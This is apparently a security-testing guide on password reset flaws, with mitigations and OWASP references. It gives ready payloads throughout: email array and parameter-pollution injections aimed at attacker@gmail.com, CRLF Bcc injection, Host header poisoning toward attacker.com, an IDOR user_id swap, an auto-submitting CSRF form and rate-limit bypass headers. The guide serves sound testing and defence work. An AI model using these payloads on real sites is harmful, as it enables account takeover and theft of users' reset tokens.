Password Reset Vulnerability Testing
Introduction
Password reset functionality is one of the most sensitive features in any web application. A single implementation flaw can lead to full Account Takeover (ATO), allowing attackers to gain unauthorized access without knowing the victim’s password.
Because password reset flows often involve multiple components—including email services, APIs, authentication systems, reverse proxies, and user management logic they frequently contain subtle security weaknesses.
This article documents a practical methodology for testing password reset mechanisms and highlights common vulnerabilities that have historically led to critical security findings.
Vulnerability Overview
Password reset vulnerabilities occur when an application improperly validates:
- User identity
- Reset tokens
- Email ownership
- Request parameters
- Generated reset links
Common outcomes include:
- Account Takeover (ATO)
- Unauthorized password changes
- Token disclosure
- User enumeration
- Email abuse
- Denial of Service (DoS)
How It Works
A typical password reset flow looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
User Requests Password Reset
│
▼
Server Generates Reset Token
│
▼
Token Sent Via Email
│
▼
User Opens Reset Link
│
▼
New Password Submitted
│
▼
Password Updated
Security failures can occur at any stage of this workflow.
Root Cause
Most password reset vulnerabilities originate from one or more of the following issues:
- Trusting user-controlled input
- Improper email validation
- Weak token generation
- Missing authorization checks
- Unsafe proxy/header handling
- Race conditions
- Inconsistent backend parsing
- Lack of CSRF protection
- Insufficient rate limiting
Real World Example
One notable example involved GitLab, where researchers discovered that password reset requests could accept multiple email addresses.
The application generated a valid reset token for the victim account but also delivered the email to an attacker-controlled address.
Example payload:
1
2
3
{
"email": ["victim@gmail.com", "attacker@gmail.com"]
}
If successful, the attacker receives the victim’s password reset token, leading to Account Takeover.
Discovery Methodology
When assessing password reset functionality, test the following areas:
- Email parameter manipulation
- HTTP parameter pollution
- JSON injection
- Host header poisoning
- Token lifecycle validation
- IDOR vulnerabilities
- Race conditions
- Email canonicalization bypasses
- CSRF weaknesses
- Hidden API endpoints
- Rate limit bypasses
- Header spoofing
- Token generation flaws
Exploitation
Email Parameter Manipulation
Some applications incorrectly process multiple email values.
Array Injection
1
2
3
{
"email": ["victim@gmail.com", "attacker@gmail.com"]
}
Comma-Separated Values
1
email=victim@gmail.com,attacker@gmail.com
Pipe-Separated Values
1
email=victim@gmail.com|attacker@gmail.com
CRLF Injection
1
email=victim@gmail.com%0d%0aBcc:attacker@gmail.com
1
email=victim@gmail.com%0d%0aCc:attacker@gmail.com
Goal
Receive a valid password reset token intended for the victim account.
HTTP Parameter Pollution (HPP)
Applications may process duplicate parameters differently.
Example
1
2
3
POST /forgot-password HTTP/1.1
email=victim@gmail.com&email=attacker@gmail.com
Reverse the order:
1
email=attacker@gmail.com&email=victim@gmail.com
Try array variations:
1
2
3
email=victim@gmail.com&
email=attacker@gmail.com&
email[]=attacker@gmail.com
Why It Works
Different frameworks handle duplicate parameters differently:
1
2
3
4
PHP → Last Value Wins
ASP.NET → First Value Wins
Node.js → Array Handling
Java → Framework Dependent
JSON Injection
Many APIs parse JSON inconsistently.
Duplicate Keys
1
2
3
4
{
"email": "victim@gmail.com",
"email": "attacker@gmail.com"
}
Additional Email Fields
1
2
3
4
{
"email": "victim@gmail.com",
"backup_email": "attacker@gmail.com"
}
Nested Objects
1
2
3
4
5
6
{
"email": "victim@gmail.com",
"user": {
"email": "attacker@gmail.com"
}
}
Objective
Determine which value the backend ultimately uses.
Host Header Poisoning
One of the most powerful password reset vulnerabilities.
Some applications generate reset URLs using the incoming Host header.
Example Request
1
2
3
4
5
POST /forgot-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com
email=victim@gmail.com
Result
The victim receives:
1
https://attacker.com/reset?token=XXXX
When the victim clicks the link, the reset token is sent to infrastructure controlled by the attacker.
Additional Headers To Test
1
2
3
4
5
6
7
8
9
X-Forwarded-Host
X-Host
X-Original-Host
Forwarded
X-Forwarded-Server
X-Rewrite-URL
X-Original-URL
Origin
Referer
Reset Token Reuse
Reset tokens should be:
- Single use
- Time limited
- Bound to a specific account
Test
1
2
3
1. Request reset token
2. Change password
3. Reuse same token
Vulnerable Behavior
If the token remains valid after use:
1
2
Password Reset → Success
Password Reset Again → Success
This may enable persistent Account Takeover.
IDOR in Reset Endpoint
Inspect the final password reset request.
Example
1
2
3
4
5
{
"user_id": 123,
"token": "VALIDTOKEN",
"password": "P@ss1234"
}
Modify:
1
2
3
4
5
{
"user_id": 124,
"token": "VALIDTOKEN",
"password": "P@ss1234"
}
Impact
If accepted, attackers may reset passwords for arbitrary users.
Race Conditions
Send multiple requests simultaneously.
Goals
- Token confusion
- Shared token generation
- State desynchronization
Tools
- Burp Suite Repeater Group
- Turbo Intruder
- Race Condition Extension
Interesting Scenario
If two users request password resets simultaneously and receive identical tokens:
1
2
User A Token = ABC123
User B Token = ABC123
This can lead to cross-account compromise.
Referrer Manipulation
Some applications trust values supplied in the Referer header.
Example
1
Referer: /reset?email=victim@gmail.com
If the backend improperly uses this value during reset generation, tokens may be issued for unintended accounts.
Email Canonicalization Bypass
Different email providers normalize addresses differently.
Test Variations
1
2
3
4
5
victim@gmail.com
victim+test@gmail.com
victim+1@gmail.com
victim.victim24@gmail.com
victim@googlemail.com
Unicode Testing
1
victimvictіm24@gmail.com
Notice that the character “і” may not be the standard Latin “i”.
Impact
Account confusion and ownership validation bypasses.
Password Reset CSRF
If the reset workflow lacks CSRF protection, an attacker may force a victim’s browser to submit requests.
Example Attack
1
2
3
4
5
6
7
<form action="https://target.com/reset-password" method="POST">
<input name="password" value="NewPassword123" />
</form>
<script>
document.forms[0].submit();
</script>
Impact
Unauthorized password changes.
Hidden API Reset Endpoints
Developers often expose undocumented reset functionality.
Common Targets
1
2
3
4
5
/api/reset-password
/api/v2/reset
/internal/reset
/admin/reset
/graphql
Example
1
2
3
POST /api/su/resetPwd
username=admin
Hidden endpoints frequently bypass protections present in the public interface.
Rate Limit Bypass
Password reset endpoints should enforce rate limits.
Baseline Request
1
2
3
POST /forgot-password HTTP/1.1
email=victim@gmail.com
Testing Objectives
- Email flooding
- OTP brute force
- Resource exhaustion
- User harassment
Bypass Techniques
1
2
3
4
X-Forwarded-For
X-Real-IP
Client-IP
True-Client-IP
Rotate values to determine whether limits are enforced per IP.
Header Spoofing
Some applications trust client-supplied headers.
Test Headers
1
2
3
4
5
X-Forwarded-For: 1.1.1.1
X-Real-IP: 1.1.1.1
X-Originating-IP: 1.1.1.1
Client-IP: 1.1.1.1
True-Client-IP: 1.1.1.1
Goal
Bypass IP-based controls and abuse protections.
Different Accounts Sharing One Token
A critical race-condition scenario.
Test Procedure
- Trigger password resets for multiple accounts simultaneously.
- Capture generated reset links.
- Compare reset tokens.
Vulnerable Behavior
1
2
Victim Token = XYZ123
Attacker Token = XYZ123
Impact
Cross-account password resets and complete Account Takeover.
Array Injection Testing
Some APIs unexpectedly accept arrays.
Example
1
2
3
{
"email": ["", ""]
}
Expand testing with:
1
2
3
{
"email": ["victim@gmail.com", "attacker@gmail.com"]
}
Impact
Successful password reset vulnerabilities can result in:
- Full Account Takeover
- Privilege Escalation
- Sensitive Data Exposure
- Administrative Access
- User Lockout
- Email Abuse
- Service Disruption
Severity is typically High or Critical because authentication controls are directly affected.
Mitigation
Organizations should:
Validate Inputs
Accept only a single email address.
Ignore User-Controlled Headers
Never generate reset URLs using:
1
2
3
4
Host
X-Forwarded-Host
Origin
Referer
Secure Tokens
- Cryptographically random
- Single use
- Short expiration
- Bound to user identity
Implement CSRF Protection
Protect all state-changing requests.
Apply Rate Limiting
Limit requests per:
- Account
- IP Address
- Device
Prevent Race Conditions
Use transactional operations and atomic token generation.
Normalize Email Addresses
Apply consistent canonicalization before account lookup.
References
- OWASP Forgot Password Cheat Sheet
- OWASP Web Security Testing Guide
- PortSwigger Web Security Academy
- GitLab Security Advisories
- HackerOne Public Reports
- YesWeHack Disclosure Reports
Key Takeaways
- Password reset functionality is a frequent source of critical vulnerabilities.
- Host Header Poisoning remains one of the most impactful attack vectors.
- Parameter Pollution and JSON Injection can reveal backend parsing inconsistencies.
- Reset tokens must always be single-use and tightly bound to user accounts.
- Race conditions can introduce unexpected authentication bypasses.
- Hidden APIs often expose weaker implementations than public interfaces.
- Comprehensive testing of password reset flows should be part of every web application security assessment.